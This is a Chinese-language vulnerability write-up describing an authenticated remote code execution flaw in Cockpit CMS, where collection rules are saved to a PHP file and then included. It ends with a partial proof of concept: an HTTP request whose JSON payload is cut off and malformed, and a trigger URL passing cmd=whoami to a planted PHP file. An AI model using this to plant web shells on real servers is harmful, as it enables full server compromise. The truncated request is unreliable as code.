# Cockpit CMS 认证远程代码执行漏洞 (Authenticated RCE) ## 漏洞概述 这是一个设计层面的漏洞,而非普通的逻辑错误。漏洞核心在于 Cockpit CMS 允许定义“集合规则(collection rules)”,其内部处理流程如下: 1. **接收输入**:控制器接收用户输入的 `rules` 参数。 2. **无验证**:代码未对输入进行任何验证、过滤或限制 PHP 内容。 3. **写入文件**:将用户输入直接写入一个 `.php` 文件中。 4. **执行代码**:通过 `include()` 函数直接包含并执行该文件。 **核心逻辑链**:用户输入 -> 存储为 PHP 文件 -> 服务器执行。 ## 影响范围 * **Full Remote Code Execution**:完全远程代码执行。 * **Arbitrary command execution**:任意命令执行。 * **Complete server compromise**:服务器完全沦陷。 * **Data exfiltration**:数据泄露。 * **Privilege escalation possibilities**:存在权限提升的可能性。 ## 修复方案 * **Remediation**:(注:截图中该部分标题存在但未显示具体修复代码,通常此类漏洞的修复方案包括:对用户输入进行严格的白名单验证、禁止将用户输入直接写入可执行文件、避免使用 `include` 包含不可信文件、使用沙箱机制等)。 ## 利用代码 (POC) **1. 恶意请求 (Malicious Request)** 在 Burp Suite 中修改 `save_collection` 请求,将 Payload 注入到 JSON 数据中: ```http POST /cockpit/collections/save_collection HTTP/1.1 Host: localhost X-Requested-With: XMLHttpRequest Content-Type: application/json; charset=UTF-8 Cookie: rx_autologin=...; __xe_admin_gnb_tx_... Content-Length: 902 {"collection":{"name":"test","label":"testlabel","color":"","fields":[],"acl":{"*":["collection_edit":true]," ``` **2. 触发执行 (Execution Phase)** 利用写入的 PHP 文件执行命令(例如 `cmd=whoami`): ```http http://localhost/cockpit/storage/collections/rules/test.read.php?cmd=whoami ```